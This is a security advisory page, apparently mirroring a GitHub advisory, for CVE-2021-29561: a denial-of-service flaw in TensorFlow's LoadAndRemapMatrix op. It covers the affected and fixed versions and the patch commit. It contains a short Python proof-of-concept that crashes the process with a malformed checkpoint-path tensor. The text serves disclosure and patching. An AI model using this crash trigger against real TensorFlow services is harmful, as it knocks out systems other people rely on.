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Severe, 6 weeks1498Projects326

1498 severe, 6 weeks · 326 projects

TensorFlowGHSA-gvm4-h8j3-rjrq

CHECK-fail in `LoadAndRemapMatrix`

TensorFlow

CVE-2021-29561 · Published May 21, 2021 · updated Jul 8, 2026

Low2.5
Fix: upgrade to 2.1.4 or later (4 fixed versions below)
GitHub advisory

Impact

An attacker can cause a denial of service by exploiting a CHECK-failure coming from tf.raw_ops.LoadAndRemapMatrix:

```python

import tensorflow as tf

ckpt_path = tf.constant([], shape=[0], dtype=tf.string)

old_tensor_name = tf.constant("")

row_remapping = tf.constant([], shape=[0], dtype=tf.int64)

col_remapping = tf.constant([1], shape=[1], dtype=tf.int64)

initializing_values = tf.constant(1.0)

tf.raw_ops.LoadAndRemapMatrix(

ckpt_path=ckpt_path, old_tensor_name=old_tensor_name,

row_remapping=row_remapping, col_remapping=col_remapping,

initializing_values=initializing_values, num_rows=0, num_cols=1)

`

This is because the [implementation](https://github.com/tensorflow/tensorflow/blob/d94227d43aa125ad8b54115c03cece54f6a1977b/tensorflow/core/kernels/ragged_tensor_to_tensor_op.cc#L219-L222) assumes that the ckpt_path is always a valid scalar.

```cc

const string& ckpt_path = ckpt_path_t->scalar<tstring>()();

`

However, an attacker can send any other tensor as the first argument of LoadAndRemapMatrix. This would cause the rank CHECK in scalar<T>()() to trigger and terminate the process.

Patches

We have patched the issue in GitHub commit [77dd114513d7796e1e2b8aece214a380af26fbf4](https://github.com/tensorflow/tensorflow/commit/77dd114513d7796e1e2b8aece214a380af26fbf4).

The fix will be included in TensorFlow 2.5.0. We will also...

Affected versions

PackageAffectedFixed in
tensorflow
PyPI
< 2.1.42.1.4
>= 2.2.0, < 2.2.32.2.3
>= 2.3.0, < 2.3.32.3.3
>= 2.4.0, < 2.4.22.4.2
Details and references

### Impact An attacker can cause a denial of service by exploiting a `CHECK`-failure coming from `tf.raw_ops.LoadAndRemapMatrix`: ```python import tensorflow as tf ckpt_path = tf.constant([], shape=[0], dtype=tf.string) old_tensor_name = tf.constant("") row_remapping = tf.constant([], shape=[0], dtype=tf.int64) col_remapping = tf.constant([1], shape=[1], dtype=tf.int64) initializing_values = tf.constant(1.0) tf.raw_ops.LoadAndRemapMatrix( ckpt_path=ckpt_path, old_tensor_name=old_tensor_name, row_remapping=row_remapping, col_remapping=col_remapping, initializing_values=initializing_values, num_rows=0, num_cols=1) ``` This is because the [implementation](https://github.com/tensorflow/tensorflow/blob/d94227d43aa125ad8b54115c03cece54f6a1977b/tensorflow/core/kernels/ragged_tensor_to_tensor_op.cc#L219-L222) assumes that the `ckpt_path` is always a valid scalar. ```cc const string& ckpt_path = ckpt_path_t->scalar<tstring>()(); ``` However, an attacker can send any other tensor as the first argument of `LoadAndRemapMatrix`. This would cause the rank `CHECK` in `scalar<T>()()` to trigger and terminate the process. ### Patches We have patched the issue in GitHub commit [77dd114513d7796e1e2b8aece214a380af26fbf4](https://github.com/tensorflow/tensorflow/commit/77dd114513d7796e1e2b8aece214a380af26fbf4). The fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range. ### For more information Please consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions. ### Attribution This vulnerability has been reported by Yakun Zhang and Ying Wang of Baidu X-Team.

CVSS 3.1
CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:N/A:L
Severity from
GitHub (reviewed advisory)
Weakness
CWE-617
Also known as
BIT-tensorflow-2021-29561, CVE-2021-29561, PYSEC-2021-198, PYSEC-2021-489, PYSEC-2021-687

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